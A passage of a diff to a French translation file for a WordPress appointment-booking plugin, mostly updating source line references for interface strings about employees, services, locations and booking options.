 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:29
 #: includes/shortcodes/EmployeesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11692
+#: assets/js/gutenberg-blocks.js:11693
 msgid "Employees List"
 msgstr "Liste des employés"
 
@@ -1658,10 +1648,10 @@
 #: includes/shortcodes/LocationsListShortcode.php:41
 #: includes/shortcodes/ServiceCategoriesShortcode.php:43
 #: includes/shortcodes/ServicesListShortcode.php:41
-#: assets/js/gutenberg-blocks.js:11509
-#: assets/js/gutenberg-blocks.js:11804
-#: assets/js/gutenberg-blocks.js:12090
-#: assets/js/gutenberg-blocks.js:12408
+#: assets/js/gutenberg-blocks.js:11510
+#: assets/js/gutenberg-blocks.js:11805
+#: assets/js/gutenberg-blocks.js:12091
+#: assets/js/gutenberg-blocks.js:12409
 msgid "Show featured image."
 msgstr "Afficher l'image de couverture."
 
@@ -1674,9 +1664,9 @@
 #: includes/shortcodes/EmployeesListShortcode.php:46
 #: includes/shortcodes/LocationsListShortcode.php:46
 #: includes/shortcodes/ServicesListShortcode.php:46
-#: assets/js/gutenberg-blocks.js:11517
-#: assets/js/gutenberg-blocks.js:11812
-#: assets/js/gutenberg-blocks.js:12416
+#: assets/js/gutenberg-blocks.js:11518
+#: assets/js/gutenberg-blocks.js:11813
+#: assets/js/gutenberg-blocks.js:12417
 msgid "Show post title."
 msgstr "Afficher le titre du message."
 
@@ -1689,30 +1679,30 @@
 #: includes/shortcodes/EmployeesListShortcode.php:51
 #: includes/shortcodes/LocationsListShortcode.php:51
 #: includes/shortcodes/ServicesListShortcode.php:51
-#: assets/js/gutenberg-blocks.js:11525
-#: assets/js/gutenberg-blocks.js:11820
-#: assets/js/gutenberg-blocks.js:12424
+#: assets/js/gutenberg-blocks.js:11526
+#: assets/js/gutenberg-blocks.js:11821
+#: assets/js/gutenberg-blocks.js:12425
 msgid "Show post excerpt."
 msgstr "Afficher l'extrait du message."
 
 #: includes/divi/modules/EmployeesListModule.php:57
 #: includes/elementor/widgets/EmployeesListWidget.php:74
 #: includes/shortcodes/EmployeesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:11533
+#: assets/js/gutenberg-blocks.js:11534
 msgid "Show contact information."
 msgstr "Afficher les informations de contact."
 
 #: includes/divi/modules/EmployeesListModule.php:67
 #: includes/elementor/widgets/EmployeesListWidget.php:84
 #: includes/shortcodes/EmployeesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:11541
+#: assets/js/gutenberg-blocks.js:11542
 msgid "Show social networks."
 msgstr "Afficher les réseaux sociaux."
 
 #: includes/divi/modules/EmployeesListModule.php:77
 #: includes/elementor/widgets/EmployeesListWidget.php:94
 #: includes/shortcodes/EmployeesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:11549
+#: assets/js/gutenberg-blocks.js:11550
 msgid "Show additional information."
 msgstr "Afficher des informations supplémentaires."
 
@@ -1720,7 +1710,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:107
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:60
 #: includes/shortcodes/EmployeesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:11559
 msgid "Comma-separated slugs or IDs of employees that will be shown."
 msgstr "Slugs séparés par des virgules ou identifiants des employés qui seront affichés."
 
@@ -1734,8 +1724,8 @@
 #: includes/post-types/LocationPostType.php:77
 #: assets/js/analytics-page.js:33420
 #: assets/js/calendar-page.js:45397
-#: assets/js/gutenberg-blocks.js:11566
-#: assets/js/gutenberg-blocks.js:11828
+#: assets/js/gutenberg-blocks.js:11567
+#: assets/js/gutenberg-blocks.js:11829
 msgid "Locations"
 msgstr "Emplacements"
 
@@ -1743,8 +1733,8 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:117
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:66
 #: includes/shortcodes/EmployeesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:11567
-#: assets/js/gutenberg-blocks.js:11829
+#: assets/js/gutenberg-blocks.js:11568
+#: assets/js/gutenberg-blocks.js:11830
 msgid "Comma-separated slugs or IDs of locations."
 msgstr "Slugs séparés par des virgules ou identifiants d'emplacements."
 
@@ -1757,9 +1747,9 @@
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:71
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:68
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:84
-#: assets/js/gutenberg-blocks.js:11575
-#: assets/js/gutenberg-blocks.js:11846
-#: assets/js/gutenberg-blocks.js:12500
+#: assets/js/gutenberg-blocks.js:11576
+#: assets/js/gutenberg-blocks.js:11847
+#: assets/js/gutenberg-blocks.js:12501
 msgid "Posts Per Page"
 msgstr "Messages par page"
 
@@ -1777,10 +1767,10 @@
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:96
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:91
 #: includes/widgets/AppointmentFormWidget.php:237
-#: assets/js/gutenberg-blocks.js:11584
-#: assets/js/gutenberg-blocks.js:11855
-#: assets/js/gutenberg-blocks.js:12170
-#: assets/js/gutenberg-blocks.js:12509
+#: assets/js/gutenberg-blocks.js:11585
+#: assets/js/gutenberg-blocks.js:11856
+#: assets/js/gutenberg-blocks.js:12171
+#: assets/js/gutenberg-blocks.js:12510
 msgid "Columns Count"
 msgstr "Nombre de colonnes"
 
@@ -1798,10 +1788,10 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:92
 #: includes/shortcodes/AbstractPostsListShortcode.php:29
 #: includes/shortcodes/AbstractTermsListShortcode.php:30
-#: assets/js/gutenberg-blocks.js:11585
-#: assets/js/gutenberg-blocks.js:11856
-#: assets/js/gutenberg-blocks.js:12171
-#: assets/js/gutenberg-blocks.js:12510
+#: assets/js/gutenberg-blocks.js:11586
+#: assets/js/gutenberg-blocks.js:11857
+#: assets/js/gutenberg-blocks.js:12172
+#: assets/js/gutenberg-blocks.js:12511
 msgid "The number of columns in the grid."
 msgstr "Le nombre de colonnes dans la grille."
 
@@ -1815,10 +1805,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:178
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:59
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:54
-#: assets/js/gutenberg-blocks.js:11594
-#: assets/js/gutenberg-blocks.js:11865
-#: assets/js/gutenberg-blocks.js:12180
-#: assets/js/gutenberg-blocks.js:12519
+#: assets/js/gutenberg-blocks.js:11595
+#: assets/js/gutenberg-blocks.js:11866
+#: assets/js/gutenberg-blocks.js:12181
+#: assets/js/gutenberg-blocks.js:12520
 msgid "Order By"
 msgstr "commander par"
 
@@ -1832,10 +1822,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:182
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:39
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11601
-#: assets/js/gutenberg-blocks.js:11872
-#: assets/js/gutenberg-blocks.js:12187
-#: assets/js/gutenberg-blocks.js:12526
+#: assets/js/gutenberg-blocks.js:11602
+#: assets/js/gutenberg-blocks.js:11873
+#: assets/js/gutenberg-blocks.js:12188
+#: assets/js/gutenberg-blocks.js:12527
 msgid "No order"
 msgstr "pas de commande"
 
@@ -1846,9 +1836,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:124
 #: includes/elementor/widgets/ServicesListWidget.php:183
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11604
-#: assets/js/gutenberg-blocks.js:11875
-#: assets/js/gutenberg-blocks.js:12529
+#: assets/js/gutenberg-blocks.js:11605
+#: assets/js/gutenberg-blocks.js:11876
+#: assets/js/gutenberg-blocks.js:12530
 msgid "Post ID"
 msgstr "Numéro de poste"
 
@@ -1859,9 +1849,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:125
 #: includes/elementor/widgets/ServicesListWidget.php:184
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:11607
-#: assets/js/gutenberg-blocks.js:11878
-#: assets/js/gutenberg-blocks.js:12532
+#: assets/js/gutenberg-blocks.js:11608
+#: assets/js/gutenberg-blocks.js:11879
+#: assets/js/gutenberg-blocks.js:12533
 msgid "Post author"
 msgstr "Auteur du message"
 
@@ -1875,9 +1865,9 @@
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:49
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:49
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:11610
-#: assets/js/gutenberg-blocks.js:11881
-#: assets/js/gutenberg-blocks.js:12535
+#: assets/js/gutenberg-blocks.js:11611
+#: assets/js/gutenberg-blocks.js:11882
+#: assets/js/gutenberg-blocks.js:12536
 msgid "Post title"
 msgstr "Titre de l'article"
 
@@ -1888,9 +1878,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:127
 #: includes/elementor/widgets/ServicesListWidget.php:186
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:11613
-#: assets/js/gutenberg-blocks.js:11884
-#: assets/js/gutenberg-blocks.js:12538
+#: assets/js/gutenberg-blocks.js:11614
+#: assets/js/gutenberg-blocks.js:11885
+#: assets/js/gutenberg-blocks.js:12539
 msgid "Post name (post slug)"
 msgstr "Nom du message (poste slug)"
 
@@ -1901,9 +1891,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:128
 #: includes/elementor/widgets/ServicesListWidget.php:187
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:11616
-#: assets/js/gutenberg-blocks.js:11887
-#: assets/js/gutenberg-blocks.js:12541
+#: assets/js/gutenberg-blocks.js:11617
+#: assets/js/gutenberg-blocks.js:11888
+#: assets/js/gutenberg-blocks.js:12542
 msgid "Post date"
 msgstr "Date de publication"
 
@@ -1914,9 +1904,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:129
 #: includes/elementor/widgets/ServicesListWidget.php:188
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:11619
-#: assets/js/gutenberg-blocks.js:11890
-#: assets/js/gutenberg-blocks.js:12544
+#: assets/js/gutenberg-blocks.js:11620
+#: assets/js/gutenberg-blocks.js:11891
+#: assets/js/gutenberg-blocks.js:12545
 msgid "Last modified date"
 msgstr "Date de la dernière modification"
 
@@ -1927,9 +1917,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:130
 #: includes/elementor/widgets/ServicesListWidget.php:189
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:11622
-#: assets/js/gutenberg-blocks.js:11893
-#: assets/js/gutenberg-blocks.js:12547
+#: assets/js/gutenberg-blocks.js:11623
+#: assets/js/gutenberg-blocks.js:11894
+#: assets/js/gutenberg-blocks.js:12548
 msgid "Random order"
 msgstr "Ordre aléatoire"
 
@@ -1940,9 +1930,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:131
 #: includes/elementor/widgets/ServicesListWidget.php:190
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:11625
-#: assets/js/gutenberg-blocks.js:11896
-#: assets/js/gutenberg-blocks.js:12550
+#: assets/js/gutenberg-blocks.js:11626
+#: assets/js/gutenberg-blocks.js:11897
+#: assets/js/gutenberg-blocks.js:12551
 msgid "Relevance"
 msgstr "Pertinence"
 
@@ -1956,10 +1946,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:191
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:48
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:48
-#: assets/js/gutenberg-blocks.js:11628
-#: assets/js/gutenberg-blocks.js:11899
-#: assets/js/gutenberg-blocks.js:12211
-#: assets/js/gutenberg-blocks.js:12553
+#: assets/js/gutenberg-blocks.js:11629
+#: assets/js/gutenberg-blocks.js:11900
+#: assets/js/gutenberg-blocks.js:12212
+#: assets/js/gutenberg-blocks.js:12554
 msgid "Page order"
 msgstr "Ordre de la page"
 
@@ -1970,9 +1960,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:133
 #: includes/elementor/widgets/ServicesListWidget.php:192
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:49
-#: assets/js/gutenberg-blocks.js:11631
-#: assets/js/gutenberg-blocks.js:11902
-#: assets/js/gutenberg-blocks.js:12556
+#: assets/js/gutenberg-blocks.js:11632
+#: assets/js/gutenberg-blocks.js:11903
+#: assets/js/gutenberg-blocks.js:12557
 msgid "Page order and post title"
 msgstr "Ordre des pages et titre du message"
 
@@ -1984,10 +1974,10 @@
 #: includes/elementor/widgets/LocationsListWidget.php:146
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:178
 #: includes/elementor/widgets/ServicesListWidget.php:206
-#: assets/js/gutenberg-blocks.js:11641
-#: assets/js/gutenberg-blocks.js:11912
-#: assets/js/gutenberg-blocks.js:12221
-#: assets/js/gutenberg-blocks.js:12569
+#: assets/js/gutenberg-blocks.js:11642
+#: assets/js/gutenberg-blocks.js:11913
+#: assets/js/gutenberg-blocks.js:12222
+#: assets/js/gutenberg-blocks.js:12570
 msgid "DESC"
 msgstr "DESC"
 
@@ -2001,24 +1991,24 @@
 #: includes/elementor/widgets/ServicesListWidget.php:207
 #: includes/shortcodes/AbstractPostsListShortcode.php:42
 #: includes/shortcodes/AbstractTermsListShortcode.php:43
-#: assets/js/gutenberg-blocks.js:11644
-#: assets/js/gutenberg-blocks.js:11915
-#: assets/js/gutenberg-blocks.js:12224
-#: assets/js/gutenberg-blocks.js:12572
+#: assets/js/gutenberg-blocks.js:11645
+#: assets/js/gutenberg-blocks.js:11916
+#: assets/js/gutenberg-blocks.js:12225
+#: assets/js/gutenberg-blocks.js:12573
 msgid "ASC"
 msgstr "ASC"
 
 #: includes/divi/modules/EmployeeSocialNetworksModule.php:20
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeSocialNetworksShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13481
+#: assets/js/gutenberg-blocks.js:13482
 msgid "Employee Social Networks"
 msgstr "Réseaux sociaux des employés"
 
 #: includes/divi/modules/EmployeeTitleModule.php:20
 #: includes/elementor/widgets/EmployeeTitleWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeTitleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12866
+#: assets/js/gutenberg-blocks.js:12867
 msgid "Employee Title"
 msgstr "Titre de l'employé"
 
@@ -2026,7 +2016,7 @@
 #: includes/elementor/widgets/LocationsListWidget.php:25
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:29
 #: includes/shortcodes/LocationsListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11963
+#: assets/js/gutenberg-blocks.js:11964
 msgid "Locations List"
 msgstr "Liste des emplacements"
 
@@ -2048,9 +2038,9 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:72
 #: includes/post-types/LocationPostType.php:124
 #: includes/post-types/ServicePostType.php:164
-#: assets/js/gutenberg-blocks.js:11837
-#: assets/js/gutenberg-blocks.js:12123
-#: assets/js/gutenberg-blocks.js:12482
+#: assets/js/gutenberg-blocks.js:11838
+#: assets/js/gutenberg-blocks.js:12124
+#: assets/js/gutenberg-blocks.js:12483
 msgid "Categories"
 msgstr "Catégories"
 
@@ -2066,9 +2056,9 @@
 #: includes/shortcodes/LocationsListShortcode.php:61
 #: includes/shortcodes/ServiceCategoriesShortcode.php:64
 #: includes/shortcodes/ServicesListShortcode.php:86
-#: assets/js/gutenberg-blocks.js:11838
-#: assets/js/gutenberg-blocks.js:12124
-#: assets/js/gutenberg-blocks.js:12483
+#: assets/js/gutenberg-blocks.js:11839
+#: assets/js/gutenberg-blocks.js:12125
+#: assets/js/gutenberg-blocks.js:12484
 msgid "Comma-separated slugs or IDs of categories that will be shown."
 msgstr "Slugs séparés par des virgules ou identifiants de catégories qui seront affichés."
 
@@ -2078,26 +2068,26 @@
 #: includes/post-types/ServicePostType.php:149
 #: includes/post-types/ServicePostType.php:252
 #: includes/shortcodes/ServiceCategoriesShortcode.php:31
-#: assets/js/gutenberg-blocks.js:12272
+#: assets/js/gutenberg-blocks.js:12273
 msgid "Service Categories"
 msgstr "Catégories de services"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:37
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:53
-#: assets/js/gutenberg-blocks.js:12098
+#: assets/js/gutenberg-blocks.js:12099
 msgid "Show Services Count?"
 msgstr "Afficher le nombre de services ?"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:47
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:63
-#: assets/js/gutenberg-blocks.js:12106
+#: assets/js/gutenberg-blocks.js:12107
 msgid "Show Description?"
 msgstr "Afficher la description ?"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:57
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:73
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:56
-#: assets/js/gutenberg-blocks.js:12114
+#: assets/js/gutenberg-blocks.js:12115
 msgid "Parent"
 msgstr "Parent"
 
@@ -2105,14 +2095,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:76
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:57
 #: includes/shortcodes/ServiceCategoriesShortcode.php:58
-#: assets/js/gutenberg-blocks.js:12115
+#: assets/js/gutenberg-blocks.js:12116
 msgid "Parent term slug or ID to retrieve direct-child terms from."
 msgstr "Slug ou ID de terme parent à partir duquel récupérer les termes enfants directs."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:69
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:93
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:68
-#: assets/js/gutenberg-blocks.js:12132
+#: assets/js/gutenberg-blocks.js:12133
 msgid "Exclude Categories"
 msgstr "Exclure les catégories"
 
@@ -2120,21 +2110,21 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:96
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:69
 #: includes/shortcodes/ServiceCategoriesShortcode.php:69
-#: assets/js/gutenberg-blocks.js:12133
+#: assets/js/gutenberg-blocks.js:12134
 msgid "Comma-separated slugs or IDs of categories that will not be shown."
 msgstr "Slugs séparés par des virgules ou identifiants de catégories qui ne seront pas affichés."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:75
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:103
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:74
-#: assets/js/gutenberg-blocks.js:12141
+#: assets/js/gutenberg-blocks.js:12142
 msgid "Hide Empty"
 msgstr "Occulter le vide"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:85
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:114
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:80
-#: assets/js/gutenberg-blocks.js:12150
+#: assets/js/gutenberg-blocks.js:12151
 msgid "Depth"
 msgstr "Profondeur"
 
@@ -2142,14 +2132,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:115
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:81
 #: includes/shortcodes/ServiceCategoriesShortcode.php:79
-#: assets/js/gutenberg-blocks.js:12151
+#: assets/js/gutenberg-blocks.js:12152
 msgid "Display depth of child categories."
 msgstr "Afficher la profondeur des catégories enfants."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:97
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:127
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:88
-#: assets/js/gutenberg-blocks.js:12160
+#: assets/js/gutenberg-blocks.js:12161
 msgid "Number"
 msgstr "Numéro "
 
@@ -2157,56 +2147,56 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:128
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:89
 #: includes/shortcodes/AbstractTermsListShortcode.php:24
-#: assets/js/gutenberg-blocks.js:12161
+#: assets/js/gutenberg-blocks.js:12162
 msgid "Maximum number of categories to show."
 msgstr "Nombre maximum de catégories à afficher."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:126
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:158
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:12190
+#: assets/js/gutenberg-blocks.js:12191
 msgid "Term name"
 msgstr "Nom du terme"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:127
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:159
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:12193
+#: assets/js/gutenberg-blocks.js:12194
 msgid "Term slug"
 msgstr "Slug du terme"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:128
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:160
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:12196
+#: assets/js/gutenberg-blocks.js:12197
 msgid "Term ID"
 msgstr "Identifiant du terme"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:129
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:161
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:12199
+#: assets/js/gutenberg-blocks.js:12200
 msgid "Parent ID"
 msgstr "numéro du parent"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:130
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:162
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:12202
+#: assets/js/gutenberg-blocks.js:12203
 msgid "Number of associated objects"
 msgstr "Nombre d'objets associés"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:131
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:163
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:12205
+#: assets/js/gutenberg-blocks.js:12206
 msgid "Keep the order of \"IDs\" parameter"
 msgstr "Conserver l'ordre du paramètre \"ID\""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:132
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:164
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:12208
+#: assets/js/gutenberg-blocks.js:12209
 msgid "Term order"
 msgstr "Ordre des conditions"
 
@@ -2214,35 +2204,35 @@
 #: includes/elementor/widgets/ServicesListWidget.php:24
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:29
 #: includes/shortcodes/ServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12620
+#: assets/js/gutenberg-blocks.js:12621
 msgid "Services List"
 msgstr "Liste des services"
 
 #: includes/divi/modules/ServicesListModule.php:57
 #: includes/elementor/widgets/ServicesListWidget.php:73
 #: includes/shortcodes/ServicesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:12432
+#: assets/js/gutenberg-blocks.js:12433
 msgid "Show service price."
 msgstr "Afficher le prix du service."
 
 #: includes/divi/modules/ServicesListModule.php:67
 #: includes/elementor/widgets/ServicesListWidget.php:83
 #: includes/shortcodes/ServicesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:12440
+#: assets/js/gutenberg-blocks.js:12441
 msgid "Show service duration."
 msgstr "Afficher la durée du service."
 
 #: includes/divi/modules/ServicesListModule.php:77
 #: includes/elementor/widgets/ServicesListWidget.php:93
 #: includes/shortcodes/ServicesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:12448
+#: assets/js/gutenberg-blocks.js:12449
 msgid "Show service capacity."
 msgstr "Afficher la capacité du service."
 
 #: includes/divi/modules/ServicesListModule.php:87
 #: includes/elementor/widgets/ServicesListWidget.php:103
 #: includes/shortcodes/ServicesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:12456
+#: assets/js/gutenberg-blocks.js:12457
 msgid "Show service employees."
 msgstr "Afficher les employés du service."
 
@@ -2250,7 +2240,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:116
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:61
 #: includes/shortcodes/ServicesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:12465
+#: assets/js/gutenberg-blocks.js:12466
 msgid "Comma-separated slugs or IDs of services that will be shown."
 msgstr "Slugs séparés par des virgules ou identifiants de services qui seront affichés."
 
@@ -2258,7 +2248,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:126
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:67
 #: includes/shortcodes/ServicesListShortcode.php:81
-#: assets/js/gutenberg-blocks.js:12474
+#: assets/js/gutenberg-blocks.js:12475
 msgid "Comma-separated slugs or IDs of employees that perform these services."
 msgstr "Slugs séparés par des virgules ou identifiants des employés qui prestent ces services."
 
@@ -2266,7 +2256,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:143
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:78
 #: includes/post-types/ServicePostType.php:210
-#: assets/js/gutenberg-blocks.js:12491
+#: assets/js/gutenberg-blocks.js:12492
 msgid "Tags"
 msgstr "Étiquettes"
 
@@ -2365,7 +2355,7 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:105
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:75
 #: includes/shortcodes/ServiceCategoriesShortcode.php:74
-#: assets/js/gutenberg-blocks.js:12142
+#: assets/js/gutenberg-blocks.js:12143
 msgid "Hide terms not assigned to any posts."
 msgstr "Occulter les termes non assignés à aucune publication."
 
@@ -2623,10 +2613,10 @@
 #: includes/emails/tags/booking/BookingLeftToPayTag.php:19
 #: templates/emails/admin/admin-approved-booking-email.php:29
 #: templates/emails/customer/customer-approved-payment-email.php:24
-#: assets/js/divi-modules.js:6018
-#: assets/js/elementor-widgets.js:6018
-#: assets/js/gutenberg-blocks.js:6457
-#: assets/js/public.js:6018
+#: assets/js/divi-modules.js:6019
+#: assets/js/elementor-widgets.js:6019
+#: assets/js/gutenberg-blocks.js:6458
+#: assets/js/public.js:6019
 msgid "Left to pay"
 msgstr "Reste à payer"
 
@@ -2846,11 +2836,11 @@
 #: templates/shortcodes/booking/step-cart.php:48
 #: templates/shortcodes/template-parts/booking-details.php:51
 #: assets/js/calendar-page.js:38070
-#: assets/js/divi-modules.js:2858
-#: assets/js/edit-post.js:4314
-#: assets/js/elementor-widgets.js:2858
+#: assets/js/divi-modules.js:2859
+#: assets/js/edit-post.js:4315
+#: assets/js/elementor-widgets.js:2859
 #: assets/js/gutenberg-blocks.js:431
-#: assets/js/public.js:2858
+#: assets/js/public.js:2859
 #: assets/js/widgets-manage-page.js:300
 msgid "Clients"
 msgstr "Clients"
@@ -2912,13 +2902,13 @@
 #: includes/fields/complex/TimetableField.php:313
 #: includes/structures/TimePeriod.php:294
 #: assets/js/calendar-page.js:38145
-#: assets/js/divi-modules.js:3569
+#: assets/js/divi-modules.js:3570
 #: assets/js/edit-post.js:2101
-#: assets/js/edit-post.js:4846
-#: assets/js/edit-post.js:8800
-#: assets/js/elementor-widgets.js:3569
+#: assets/js/edit-post.js:4847
+#: assets/js/edit-post.js:8801
+#: assets/js/elementor-widgets.js:3570
 #: assets/js/gutenberg-blocks.js:1855
-#: assets/js/public.js:3569
+#: assets/js/public.js:3570
 #: assets/js/widgets-manage-page.js:1620
 msgid "All day"
 msgstr "Toute la journée"
@@ -2927,12 +2917,12 @@
 #: includes/fields/complex/DaysOffField.php:100
 #: templates/shortcodes/booking/cart/admin-cart-item.php:113
 #: templates/shortcodes/booking/step-cart.php:72
-#: assets/js/divi-modules.js:5975
+#: assets/js/divi-modules.js:5976
 #: assets/js/edit-post.js:2051
 #: assets/js/edit-post.js:2283
-#: assets/js/elementor-widgets.js:5975
-#: assets/js/gutenberg-blocks.js:6414
-#: assets/js/public.js:5975
+#: assets/js/elementor-widgets.js:5976
+#: assets/js/gutenberg-blocks.js:6415
+#: assets/js/public.js:5976
 msgid "Remove"
 msgstr "Supprimer"
 
@@ -3039,7 +3029,7 @@
 
 #. Translators: %s: Location name, like "Barbershop".
 #: includes/fields/complex/TimetableField.php:241
-#: assets/js/edit-post.js:8815
+#: assets/js/edit-post.js:8816
 #, php-format,js-format
 msgctxt "Working at %s"
 msgid "at %s"
@@ -3344,11 +3334,11 @@
 
 #: includes/helpers/PriceCalculationHelper.php:50
 #: includes/helpers/PriceCalculationHelper.php:122
-#: assets/js/divi-modules.js:6056
+#: assets/js/divi-modules.js:6057
 #: assets/js/edit-post.js:1602
-#: assets/js/elementor-widgets.js:6056
-#: assets/js/gutenberg-blocks.js:6495
-#: assets/js/public.js:6056
+#: assets/js/elementor-widgets.js:6057
+#: assets/js/gutenberg-blocks.js:6496
+#: assets/js/public.js:6057
 msgctxt "Zero price"
 msgid "Free"
 msgstr "Disponible"
@@ -3433,33 +3423,33 @@
 msgid "You can add a new log message here and press Update to save it"
 msgstr "Vous pouvez ajouter un nouveau message de log ici puis appuyer sur \"Mettre à jour\" pour l'enregistrer"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:49
+#: includes/metaboxes/booking/BookingPriceMetabox.php:50
